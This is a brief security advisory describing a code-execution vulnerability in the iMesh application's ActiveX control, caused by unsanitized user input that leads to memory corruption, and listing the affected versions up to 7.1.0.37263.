iMesh is prone to a code-execution vulnerability because the application fails to sanitize user-supplied data, which can lead to memory corruption.
Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using an affected ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.
iMesh 7.1.0.37263 and prior versions are reported affected by this issue.
